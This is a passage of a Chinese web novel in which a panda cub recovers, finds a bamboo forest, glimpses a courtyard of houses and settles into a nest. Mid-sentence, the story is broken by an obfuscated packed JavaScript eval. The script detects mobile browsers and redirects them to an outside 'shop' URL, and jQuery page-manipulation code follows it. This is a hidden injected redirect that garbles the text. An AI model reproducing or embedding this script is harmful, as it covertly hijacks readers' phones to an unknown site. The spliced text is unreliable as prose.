不知道过了多久。也许是几个时辰,也许是一天。
阳光穿过树叶的缝隙落在它身上,暖洋洋的。有什么东西在它脸上爬,痒痒的。它动了动耳朵,那东西飞走了。
它慢慢睁开眼睛,光刺得它又闭上,过了一会儿才又睁开。
它看见头顶的树叶。绿绿的,在风里轻轻晃。阳光从叶子的缝隙里漏下来,一小片一小片的,落在它脸上、身上。
有一只鸟在头顶叫什么,叽叽喳喳的,声音又尖又脆。它盯着那些叶子看了一会儿,觉得身上舒服极了。
不疼了,不晕了,也不饿了。前腿上的牙印已经不在了,也不疼了,只是毛还有点乱。
肚子也不叫了,暖烘烘的,像揣了一个小火炉。
它试着动了动,四条腿一撑,轻轻松松就站了起来。不软了,不晃了,浑身都是劲儿。
它抖了抖毛,身上的枯叶和泥土簌簌地掉下来。
它低头看了看自己——毛还是黑的白的,一块一块的,和以前一样。
但它总觉得有什么地方不太一样。它扭头看看自己的身子,又看看爪子,又看看尾巴。它好像变小了一点。
不是那种特别明显的变化,但它就是觉得自己的身体比之前短了一截,四条腿也短了一些,肚子也圆了一些。它低头看自己的爪子,肉垫还是粉粉的,指甲还是短短的,但整只爪子看起来比记忆中小了一号。
它歪着头想了想,想不明白,也就不想了。
反正不疼不痒,能走能吃,那就没事。
它不知道的是,它现在看起来就像一只刚满一岁的幼崽——圆滚滚的,毛茸茸的,四条腿短短的,跑起来一颠一颠的。
耳朵还是竖着的,但比成年熊猫的耳朵小一圈,支在圆脑袋上,像两片黑色的叶子。
眼睛又黑又亮,圆溜溜的,眼珠子一转,透着一股子机灵劲儿。要是有人看见它,一定忍不住想抱一抱。
它从地上站起来,四只爪子踩在落叶上,软软的。它往前走了几步,腿脚利索得很,一点也不疼了。
它又走了几步,越走越轻快,蹦蹦跳跳的,圆滚滚的身子一颠一颠的。它试着跑了几步,四条小腿倒腾得飞快,落叶在身后被带起来,沙沙地响。
它跑了一阵,停下来,喘了口气——不是累,是高兴。
它从来没觉得自己的身体这么轻快过。
然后它闻到了什么。不是果子的味道。是一种它从来没闻过的气味,从很远很远的地方飘过来。说不上来是什么,但钻进鼻子里,让它的口水一下子就涌了出来。
它站在那儿,鼻子朝着那气味飘来的方向抽动了几下。那气味很淡,换了以前它肯定闻不到,但现在它能清清楚楚地分辨出来——那味道里面有粮食的香气,有柴火燃烧的烟气,还有某种它叫不上名字的、暖暖的、香香的东西。
它的脚不自觉地朝着那个方向迈了一步。
它顺着那气味往前走。穿过几棵树,绕过一块大石头,那气味又浓了一些。它的步子越来越快,四条小腿倒腾得飞快。
它穿过一片灌木,枝条刮在它的毛上,它也不觉得疼。又绕过几棵大树,它停下来,鼻子朝着风来的方向使劲闻。
那气味就在前面。不远了。
它加快脚步,小跑着往前。跑了一阵,它又停下来闻,又跑一阵,又停下来。那气味越来越浓,越来越浓,浓得好像就在鼻子前面。
奇怪的是,它跑了这么久,走了这么远,腿一点都不酸,气也不喘。
以前跟着母亲走远路,走到一半就要歇一歇,有时候还要母亲等它。
现在它浑身都是劲儿,好像怎么走都不会累。它的步子轻快得像踩着棉花,每一步都稳稳当当的,受伤的那条腿也完全好了,和没受过伤一样。
它穿过最后一片灌木,眼前豁然开朗。它看见了一片竹林。很大很大的一片竹林,比它以前住的那片还大。
竹子是绿的,那种鲜亮的、水灵的绿,在午后的阳光里泛着光。叶子一片一片的,密密麻麻的,风一吹,整片竹林就像一片绿色的海,哗啦啦地响。
那声音从远到近,又从近到远,像波浪一样,一层一层的。地上铺着去年留下的枯叶,褐色的、干干的,踩上去沙沙响。
但枯叶中间,有东西从土里冒出来——嫩笋。
一根一根的,尖尖的,有的刚露出头,还带着清晨的露水,在阳光下闪着光;有的已经长了一截,壳是嫩绿色的,尖上带着一点黄,掐一下能出水。
它从来没见过这么多的笋,密密麻麻的,从竹子根部的枯叶里钻出来,到处都是。
它站在竹林边上,盯着那些笋看了一会儿。
它的肚子不饿,但看见那些笋,它还是忍不住咽了咽口水。它走了进去,踩在枯叶上,沙沙沙沙的。
它走到一根笋前面,低头闻了闻,一股清甜的味道钻进鼻子里,比它在老竹林里闻过的任何笋都香。它咬了一口,咔嚓一声,汁水在嘴里炸开。嚼了两下,咽下去,又咬了一口。
好吃。
比它以前吃过的任何笋都好吃。汁水特别多,甜味特别浓,咬下去的时候,那股清甜一直从舌尖甜到喉咙,连牙齿缝里都是甜的。
它不饿,但还是忍不住又吃了一根。第二根也一样好吃,壳薄薄的,一咬就碎,里面的笋肉嫩得好像能在嘴里化开。
它舔舔嘴,决定不再吃了。它还要去探一探这片竹林。它继续往竹林深处走。
越往里走,竹子越密,越绿。阳光从竹叶的缝隙里漏下来,变成一条一条的金线,落在地上的枯叶上,像碎金子一样闪闪发亮。
空气里满是竹叶的清香,湿湿的,凉凉的,吸一口就觉得浑身舒服,从鼻子一直凉到肺里。
它走了一阵,,这片竹林好像没有尽头似的,到处都是竹子,到处都是笋。
它走累了,就在一棵竹子下面趴下来歇一会儿。枯叶厚厚的,软软的,像母亲铺的窝。
它趴在上面,把下巴搁在前爪上,听着竹叶沙沙的声音,看着头顶的竹叶在风里轻轻晃。歇够了,又站起来继续走。
它喜欢这里。这里的竹子好吃,空气好闻,地方也大,够它一个人住。
不像以前住的那片林子,竹子不多,笋也少,还要和别的动物抢。
这里好像只有它一个,安安静静的,只有风的声音和竹叶的声音。
又走了一阵,竹林的尽头隐隐约约地出现了。光线亮了一些,竹子的缝隙变大了。
它放慢脚步,悄悄走过去。
它看见了房子。好几间房子,灰扑扑的,矮矮的,围着一个院子。院墙是石头垒的,不高,它能看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446818|201100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见墙里面的东西。
院子里很安静,没有人,只有几棵树,一张石桌子,几把石凳子。
房子是木头的,门是关着的,窗户也是关着的。
屋顶上铺着灰色的瓦片,一片一片的,整整齐齐的,像鱼身上的鳞片。
它不知道这是什么地方,它没见过这样的东西。
山里有树,有石头,有溪水,但没有这样的、方方正正的、用木头和石头搭起来的东西。
它趴下来,盯着那些房子看。风吹过来,它闻到那气味——就是从这房子里飘出来的。
那股让它一路追过来的、暖暖的、香香的气味。现在离得近了,那气味更浓了,一阵一阵的,从房子里飘出来,钻进它的鼻子里。
它的口水又流出来了,滴在胸前的毛上,但它没有动。
它盯着那些房子,盯着那扇关着的门,盯着那扇关着的窗户。它不知道里面有什么,它不知道那气味是从什么东西上发出来的。
它只知道那是它没见过的、不懂的东西。它的身体绷得紧紧的,耳朵竖着,随时准备转身跑。
它等了很久,院子里一直没有动静,只有风偶尔吹过,带起几片落叶在院子里打转。
它又看了一会儿,然后慢慢往后退。退一步,停一停,竖起耳朵听一听。又退一步,又停一停。退到竹林里,退到竹子的阴影里。
那气味还在,但没有那么浓了。它又退了几步,转过身,往竹林深处走。
它决定在这里住下来,这片竹林很好,竹子好吃,空气好闻,地方也大。
还有那股好闻的气味,虽然它不知道那是什么,但一定食物的味道,那味道让它觉得很舒服,很安心。
它一路往竹林深处走,越走越远,直到看不见那片房子了才停下来。
它找了一棵最大的竹子,在它下面转了几圈,用爪子扒拉了几下地上的枯叶。
枯叶厚厚的,软软的,被它扒拉出一个小窝。它又扒拉了几下,把窝弄得更深一些,更圆一些。
它在里面趴下来,试了试,刚好能放下它整个身体。
它把下巴搁在前爪上,眼睛半眯着,看着头顶的竹叶在风里轻轻晃。这里离那片房子很远,闻不到那股气味了,但它知道它在那里。
以后可以慢慢去弄明白。
现在不急。它想起母亲,不是被赶走时的母亲,是更早以前的。是它还很小的时候,趴在母亲肚皮上晒太阳的日子。那时候什么都不用想,饿了就吃,困了就睡,母亲就在旁边。暖暖的,软软的,比任何地方都舒服。
现在母亲不在了,它自己找到了这片竹林。这里有吃的,有喝的,有能睡觉的地方。它应该高兴。但它还是想起母亲,想起她低头吃笋的样子,咔嚓咔嚓的,和往常一样。它的鼻子酸了一下,但只是一下。
太阳又落下去一点,竹林的影子拉得更长了。
它打了个哈欠,把身体缩了缩。圆滚滚的身子蜷成一团,像一只黑白相间的球。它把之前受伤的前腿伸出来看了看,牙印不在,毛也慢慢顺了。它舔了两口,又把腿缩回去。
它闭上眼睛,听着竹叶沙沙的声音,听着溪水哗哗的声音。风从它身上吹过去,凉丝丝的,但枯叶垫在身下,软软的,暖暖的。它觉得很舒服,很安心。
这里以后就是它的家了。